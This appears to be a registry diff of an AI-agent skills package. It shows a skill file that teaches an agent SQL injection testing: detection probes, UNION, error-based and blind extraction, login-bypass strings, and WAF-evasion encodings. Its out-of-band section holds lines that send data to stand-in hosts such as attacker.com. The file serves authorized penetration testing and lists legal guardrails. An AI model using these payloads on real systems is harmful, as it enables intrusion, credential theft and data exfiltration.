agcel 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (100) hide show
  1. package/.agent/workflows/api-gen.md +59 -0
  2. package/.agent/workflows/architect.md +44 -0
  3. package/.agent/workflows/brainstorm.md +223 -0
  4. package/.agent/workflows/build.md +38 -0
  5. package/.agent/workflows/changelog.md +51 -0
  6. package/.agent/workflows/checkpoint.md +138 -0
  7. package/.agent/workflows/commit.md +223 -0
  8. package/.agent/workflows/debug.md +57 -0
  9. package/.agent/workflows/deploy.md +76 -0
  10. package/.agent/workflows/doc.md +247 -0
  11. package/.agent/workflows/execute-plan.md +225 -0
  12. package/.agent/workflows/feature.md +255 -0
  13. package/.agent/workflows/fix.md +323 -0
  14. package/.agent/workflows/help.md +63 -0
  15. package/.agent/workflows/index.md +148 -0
  16. package/.agent/workflows/load.md +112 -0
  17. package/.agent/workflows/mode.md +170 -0
  18. package/.agent/workflows/optimize.md +53 -0
  19. package/.agent/workflows/plan.md +337 -0
  20. package/.agent/workflows/pr.md +74 -0
  21. package/.agent/workflows/product-plan.md +36 -0
  22. package/.agent/workflows/production-deploy.md +39 -0
  23. package/.agent/workflows/refactor.md +63 -0
  24. package/.agent/workflows/research.md +116 -0
  25. package/.agent/workflows/review.md +344 -0
  26. package/.agent/workflows/security-scan.md +56 -0
  27. package/.agent/workflows/ship.md +221 -0
  28. package/.agent/workflows/spawn.md +177 -0
  29. package/.agent/workflows/status.md +59 -0
  30. package/.agent/workflows/tdd.md +139 -0
  31. package/.agent/workflows/test.md +340 -0
  32. package/.agent/workflows/verify.md +35 -0
  33. package/LICENSE +21 -0
  34. package/README.md +67 -0
  35. package/dist/commands/init.js +142 -0
  36. package/dist/commands/install.js +98 -0
  37. package/dist/commands/list.js +49 -0
  38. package/dist/commands/restart.js +17 -0
  39. package/dist/commands/start.js +41 -0
  40. package/dist/commands/status.js +24 -0
  41. package/dist/commands/stop.js +29 -0
  42. package/dist/commands/uninstall.js +78 -0
  43. package/dist/index.js +58 -0
  44. package/dist/server/index.js +174 -0
  45. package/dist/utils/index.js +63 -0
  46. package/package.json +54 -0
  47. package/skills/api-security-best-practices/SKILL.md +291 -0
  48. package/skills/api-security-best-practices/references/examples.md +617 -0
  49. package/skills/architecture/SKILL.md +59 -0
  50. package/skills/architecture/context-discovery.md +43 -0
  51. package/skills/architecture/examples.md +94 -0
  52. package/skills/architecture/pattern-selection.md +68 -0
  53. package/skills/architecture/patterns-reference.md +50 -0
  54. package/skills/architecture/trade-off-analysis.md +77 -0
  55. package/skills/aws-serverless/SKILL.md +327 -0
  56. package/skills/brainstorming/SKILL.md +234 -0
  57. package/skills/c4-context/SKILL.md +154 -0
  58. package/skills/ci-cd-engineer/SKILL.md +50 -0
  59. package/skills/code-auditing/SKILL.md +55 -0
  60. package/skills/copywriting/SKILL.md +248 -0
  61. package/skills/database-engineer/SKILL.md +47 -0
  62. package/skills/doc-coauthoring/SKILL.md +379 -0
  63. package/skills/docker-expert/SKILL.md +412 -0
  64. package/skills/langgraph/SKILL.md +291 -0
  65. package/skills/postgresql/SKILL.md +73 -0
  66. package/skills/pricing-strategy/SKILL.md +360 -0
  67. package/skills/product-manager/SKILL.md +57 -0
  68. package/skills/prompt-engineer/README.md +659 -0
  69. package/skills/prompt-engineer/SKILL.md +256 -0
  70. package/skills/python-patterns/SKILL.md +445 -0
  71. package/skills/qa-engineer/SKILL.md +42 -0
  72. package/skills/rag-engineer/SKILL.md +94 -0
  73. package/skills/react-patterns/SKILL.md +202 -0
  74. package/skills/secure-refactoring/SKILL.md +54 -0
  75. package/skills/security-documentation/SKILL.md +53 -0
  76. package/skills/senior-architect/SKILL.md +213 -0
  77. package/skills/senior-architect/references/architecture_patterns.md +103 -0
  78. package/skills/senior-architect/references/system_design_workflows.md +103 -0
  79. package/skills/senior-architect/references/tech_decision_guide.md +103 -0
  80. package/skills/senior-architect/scripts/architecture_diagram_generator.py +114 -0
  81. package/skills/senior-architect/scripts/dependency_analyzer.py +114 -0
  82. package/skills/senior-architect/scripts/project_architect.py +114 -0
  83. package/skills/seo-audit/SKILL.md +491 -0
  84. package/skills/sql-injection-testing/SKILL.md +452 -0
  85. package/skills/test-driven-development/SKILL.md +375 -0
  86. package/skills/test-driven-development/testing-anti-patterns.md +299 -0
  87. package/skills/test-fixing/SKILL.md +123 -0
  88. package/skills/testing-patterns/SKILL.md +263 -0
  89. package/skills/typescript-expert/SKILL.md +202 -0
  90. package/skills/typescript-expert/references/advanced-topics.md +252 -0
  91. package/skills/typescript-expert/references/tsconfig-strict.json +92 -0
  92. package/skills/typescript-expert/references/typescript-cheatsheet.md +383 -0
  93. package/skills/typescript-expert/references/utility-types.ts +335 -0
  94. package/skills/typescript-expert/scripts/ts_diagnostic.py +203 -0
  95. package/skills/ui-ux-designer/SKILL.md +46 -0
  96. package/skills/vercel-deployment/SKILL.md +83 -0
  97. package/skills/vulnerability-scanner/SKILL.md +280 -0
  98. package/skills/vulnerability-scanner/checklists.md +121 -0
  99. package/skills/vulnerability-scanner/scripts/security_scan.py +458 -0
  100. package/skills/writing-plans/SKILL.md +120 -0
@@ -0,0 +1,452 @@
1
+ ---
2
+ name: SQL Injection Testing
3
+ description: This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
4
+ metadata:
5
+ author: zebbern
6
+ version: "1.1"
7
+ ---
8
+
9
+ # SQL Injection Testing
10
+
11
+ ## Purpose
12
+
13
+ Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
14
+
15
+ ## Inputs / Prerequisites
16
+
17
+ ### Required Access
18
+ - Target web application URL with injectable parameters
19
+ - Burp Suite or equivalent proxy tool for request manipulation
20
+ - SQLMap installation for automated exploitation
21
+ - Browser with developer tools enabled
22
+
23
+ ### Technical Requirements
24
+ - Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
25
+ - Knowledge of HTTP request/response cycle
26
+ - Familiarity with database schemas and structures
27
+ - Write permissions for testing reports
28
+
29
+ ### Legal Prerequisites
30
+ - Written authorization for penetration testing
31
+ - Defined scope including target URLs and parameters
32
+ - Emergency contact procedures established
33
+ - Data handling agreements in place
34
+
35
+ ## Outputs / Deliverables
36
+
37
+ ### Primary Outputs
38
+ - SQL injection vulnerability report with severity ratings
39
+ - Extracted database schemas and table structures
40
+ - Authentication bypass proof-of-concept demonstrations
41
+ - Remediation recommendations with code examples
42
+
43
+ ### Evidence Artifacts
44
+ - Screenshots of successful injections
45
+ - HTTP request/response logs
46
+ - Database dumps (sanitized)
47
+ - Payload documentation
48
+
49
+ ## Core Workflow
50
+
51
+ ### Phase 1: Detection and Reconnaissance
52
+
53
+ #### Identify Injectable Parameters
54
+ Locate user-controlled input fields that interact with database queries:
55
+
56
+ ```
57
+ # Common injection points
58
+ - URL parameters: ?id=1, ?user=admin, ?category=books
59
+ - Form fields: username, password, search, comments
60
+ - Cookie values: session_id, user_preference
61
+ - HTTP headers: User-Agent, Referer, X-Forwarded-For
62
+ ```
63
+
64
+ #### Test for Basic Vulnerability Indicators
65
+ Insert special characters to trigger error responses:
66
+
67
+ ```sql
68
+ -- Single quote test
69
+ '
70
+
71
+ -- Double quote test
72
+ "
73
+
74
+ -- Comment sequences
75
+ --
76
+ #
77
+ /**/
78
+
79
+ -- Semicolon for query stacking
80
+ ;
81
+
82
+ -- Parentheses
83
+ )
84
+ ```
85
+
86
+ Monitor application responses for:
87
+ - Database error messages revealing query structure
88
+ - Unexpected application behavior changes
89
+ - HTTP 500 Internal Server errors
90
+ - Modified response content or length
91
+
92
+ #### Logic Testing Payloads
93
+ Verify boolean-based vulnerability presence:
94
+
95
+ ```sql
96
+ -- True condition tests
97
+ page.asp?id=1 or 1=1
98
+ page.asp?id=1' or 1=1--
99
+ page.asp?id=1" or 1=1--
100
+
101
+ -- False condition tests
102
+ page.asp?id=1 and 1=2
103
+ page.asp?id=1' and 1=2--
104
+ ```
105
+
106
+ Compare responses between true and false conditions to confirm injection capability.
107
+
108
+ ### Phase 2: Exploitation Techniques
109
+
110
+ #### UNION-Based Extraction
111
+ Combine attacker-controlled SELECT statements with original query:
112
+
113
+ ```sql
114
+ -- Determine column count
115
+ ORDER BY 1--
116
+ ORDER BY 2--
117
+ ORDER BY 3--
118
+ -- Continue until error occurs
119
+
120
+ -- Find displayable columns
121
+ UNION SELECT NULL,NULL,NULL--
122
+ UNION SELECT 'a',NULL,NULL--
123
+ UNION SELECT NULL,'a',NULL--
124
+
125
+ -- Extract data
126
+ UNION SELECT username,password,NULL FROM users--
127
+ UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
128
+ UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
129
+ ```
130
+
131
+ #### Error-Based Extraction
132
+ Force database errors that leak information:
133
+
134
+ ```sql
135
+ -- MSSQL version extraction
136
+ 1' AND 1=CONVERT(int,(SELECT @@version))--
137
+
138
+ -- MySQL extraction via XPATH
139
+ 1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
140
+
141
+ -- PostgreSQL cast errors
142
+ 1' AND 1=CAST((SELECT version()) AS int)--
143
+ ```
144
+
145
+ #### Blind Boolean-Based Extraction
146
+ Infer data through application behavior changes:
147
+
148
+ ```sql
149
+ -- Character extraction
150
+ 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
151
+ 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
152
+
153
+ -- Conditional responses
154
+ 1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
155
+ ```
156
+
157
+ #### Time-Based Blind Extraction
158
+ Use database sleep functions for confirmation:
159
+
160
+ ```sql
161
+ -- MySQL
162
+ 1' AND IF(1=1,SLEEP(5),0)--
163
+ 1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
164
+
165
+ -- MSSQL
166
+ 1'; WAITFOR DELAY '0:0:5'--
167
+
168
+ -- PostgreSQL
169
+ 1'; SELECT pg_sleep(5)--
170
+ ```
171
+
172
+ #### Out-of-Band (OOB) Extraction
173
+ Exfiltrate data through external channels:
174
+
175
+ ```sql
176
+ -- MSSQL DNS exfiltration
177
+ 1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
178
+
179
+ -- MySQL DNS exfiltration
180
+ 1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
181
+
182
+ -- Oracle HTTP request
183
+ 1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
184
+ ```
185
+
186
+ ### Phase 3: Authentication Bypass
187
+
188
+ #### Login Form Exploitation
189
+ Craft payloads to bypass credential verification:
190
+
191
+ ```sql
192
+ -- Classic bypass
193
+ admin'--
194
+ admin'/*
195
+ ' OR '1'='1
196
+ ' OR '1'='1'--
197
+ ' OR '1'='1'/*
198
+ ') OR ('1'='1
199
+ ') OR ('1'='1'--
200
+
201
+ -- Username enumeration
202
+ admin' AND '1'='1
203
+ admin' AND '1'='2
204
+ ```
205
+
206
+ Query transformation example:
207
+ ```sql
208
+ -- Original query
209
+ SELECT * FROM users WHERE username='input' AND password='input'
210
+
211
+ -- Injected (username: admin'--)
212
+ SELECT * FROM users WHERE username='admin'--' AND password='anything'
213
+ -- Password check bypassed via comment
214
+ ```
215
+
216
+ ### Phase 4: Filter Bypass Techniques
217
+
218
+ #### Character Encoding Bypass
219
+ When special characters are blocked:
220
+
221
+ ```sql
222
+ -- URL encoding
223
+ %27 (single quote)
224
+ %22 (double quote)
225
+ %23 (hash)
226
+
227
+ -- Double URL encoding
228
+ %2527 (single quote)
229
+
230
+ -- Unicode alternatives
231
+ U+0027 (apostrophe)
232
+ U+02B9 (modifier letter prime)
233
+
234
+ -- Hexadecimal strings (MySQL)
235
+ SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex
236
+ ```
237
+
238
+ #### Whitespace Bypass
239
+ Substitute blocked spaces:
240
+
241
+ ```sql
242
+ -- Comment substitution
243
+ SELECT/**/username/**/FROM/**/users
244
+ SEL/**/ECT/**/username/**/FR/**/OM/**/users
245
+
246
+ -- Alternative whitespace
247
+ SELECT%09username%09FROM%09users -- Tab character
248
+ SELECT%0Ausername%0AFROM%0Ausers -- Newline
249
+ ```
250
+
251
+ #### Keyword Bypass
252
+ Evade blacklisted SQL keywords:
253
+
254
+ ```sql
255
+ -- Case variation
256
+ SeLeCt, sElEcT, SELECT
257
+
258
+ -- Inline comments
259
+ SEL/*bypass*/ECT
260
+ UN/*bypass*/ION
261
+
262
+ -- Double writing (if filter removes once)
263
+ SELSELECTECT → SELECT
264
+ UNUNIONION → UNION
265
+
266
+ -- Null byte injection
267
+ %00SELECT
268
+ SEL%00ECT
269
+ ```
270
+
271
+ ## Quick Reference
272
+
273
+ ### Detection Test Sequence
274
+ ```
275
+ 1. Insert ' → Check for error
276
+ 2. Insert " → Check for error
277
+ 3. Try: OR 1=1-- → Check for behavior change
278
+ 4. Try: AND 1=2-- → Check for behavior change
279
+ 5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
280
+ ```
281
+
282
+ ### Database Fingerprinting
283
+ ```sql
284
+ -- MySQL
285
+ SELECT @@version
286
+ SELECT version()
287
+
288
+ -- MSSQL
289
+ SELECT @@version
290
+ SELECT @@servername
291
+
292
+ -- PostgreSQL
293
+ SELECT version()
294
+
295
+ -- Oracle
296
+ SELECT banner FROM v$version
297
+ SELECT * FROM v$version
298
+ ```
299
+
300
+ ### Information Schema Queries
301
+ ```sql
302
+ -- MySQL/MSSQL table enumeration
303
+ SELECT table_name FROM information_schema.tables WHERE table_schema=database()
304
+
305
+ -- Column enumeration
306
+ SELECT column_name FROM information_schema.columns WHERE table_name='users'
307
+
308
+ -- Oracle equivalent
309
+ SELECT table_name FROM all_tables
310
+ SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
311
+ ```
312
+
313
+ ### Common Payloads Quick List
314
+ | Purpose | Payload |
315
+ |---------|---------|
316
+ | Basic test | `'` or `"` |
317
+ | Boolean true | `OR 1=1--` |
318
+ | Boolean false | `AND 1=2--` |
319
+ | Comment (MySQL) | `#` or `-- ` |
320
+ | Comment (MSSQL) | `--` |
321
+ | UNION probe | `UNION SELECT NULL--` |
322
+ | Time delay | `AND SLEEP(5)--` |
323
+ | Auth bypass | `' OR '1'='1` |
324
+
325
+ ## Constraints and Guardrails
326
+
327
+ ### Operational Boundaries
328
+ - Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
329
+ - Limit data extraction to proof-of-concept quantities
330
+ - Avoid denial-of-service through resource-intensive queries
331
+ - Stop immediately upon detecting production database with real user data
332
+
333
+ ### Technical Limitations
334
+ - WAF/IPS may block common payloads requiring evasion techniques
335
+ - Parameterized queries prevent standard injection
336
+ - Some blind injection requires extensive requests (rate limiting concerns)
337
+ - Second-order injection requires understanding of data flow
338
+
339
+ ### Legal and Ethical Requirements
340
+ - Written scope agreement must exist before testing
341
+ - Document all extracted data and handle per data protection requirements
342
+ - Report critical vulnerabilities immediately through agreed channels
343
+ - Never access data beyond scope requirements
344
+
345
+ ## Examples
346
+
347
+ ### Example 1: E-commerce Product Page SQLi
348
+
349
+ **Scenario**: Testing product display page with ID parameter
350
+
351
+ **Initial Request**:
352
+ ```
353
+ GET /product.php?id=5 HTTP/1.1
354
+ ```
355
+
356
+ **Detection Test**:
357
+ ```
358
+ GET /product.php?id=5' HTTP/1.1
359
+ Response: MySQL error - syntax error near '''
360
+ ```
361
+
362
+ **Column Enumeration**:
363
+ ```
364
+ GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
365
+ Response: Normal
366
+ GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
367
+ Response: Error (4 columns confirmed)
368
+ ```
369
+
370
+ **Data Extraction**:
371
+ ```
372
+ GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
373
+ Response: Displays admin credentials
374
+ ```
375
+
376
+ ### Example 2: Blind Time-Based Extraction
377
+
378
+ **Scenario**: No visible output, testing for blind injection
379
+
380
+ **Confirm Vulnerability**:
381
+ ```sql
382
+ id=5' AND SLEEP(5)--
383
+ -- Response delayed by 5 seconds (vulnerable confirmed)
384
+ ```
385
+
386
+ **Extract Database Name Length**:
387
+ ```sql
388
+ id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
389
+ -- Delay confirms database name is 8 characters
390
+ ```
391
+
392
+ **Extract Characters**:
393
+ ```sql
394
+ id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
395
+ -- Iterate through characters to extract: 'appstore'
396
+ ```
397
+
398
+ ### Example 3: Login Bypass
399
+
400
+ **Target**: Admin login form
401
+
402
+ **Standard Login Query**:
403
+ ```sql
404
+ SELECT * FROM users WHERE username='[input]' AND password='[input]'
405
+ ```
406
+
407
+ **Injection Payload**:
408
+ ```
409
+ Username: administrator'--
410
+ Password: anything
411
+ ```
412
+
413
+ **Resulting Query**:
414
+ ```sql
415
+ SELECT * FROM users WHERE username='administrator'--' AND password='anything'
416
+ ```
417
+
418
+ **Result**: Password check bypassed, authenticated as administrator.
419
+
420
+ ## Troubleshooting
421
+
422
+ ### No Error Messages Displayed
423
+ - Application uses generic error handling
424
+ - Switch to blind injection techniques (boolean or time-based)
425
+ - Monitor response length differences instead of content
426
+
427
+ ### UNION Injection Fails
428
+ - Column count may be incorrect → Test with ORDER BY
429
+ - Data types may mismatch → Use NULL for all columns first
430
+ - Results may not display → Find injectable column positions
431
+
432
+ ### WAF Blocking Requests
433
+ - Use encoding techniques (URL, hex, unicode)
434
+ - Insert inline comments within keywords
435
+ - Try alternative syntax for same operations
436
+ - Fragment payload across multiple parameters
437
+
438
+ ### Payload Not Executing
439
+ - Verify correct comment syntax for database type
440
+ - Check if application uses parameterized queries
441
+ - Confirm input reaches SQL query (not filtered client-side)
442
+ - Test different injection points (headers, cookies)
443
+
444
+ ### Time-Based Injection Inconsistent
445
+ - Network latency may cause false positives
446
+ - Use longer delays (10+ seconds) for clarity
447
+ - Run multiple tests to confirm pattern
448
+ - Consider server-side caching effects
449
+
450
+
451
+ ## Gap Analysis Rule
452
+ Always identify gaps and suggest next steps to users. In case there is no gaps anymore, then AI should clearly state that there is no gap left.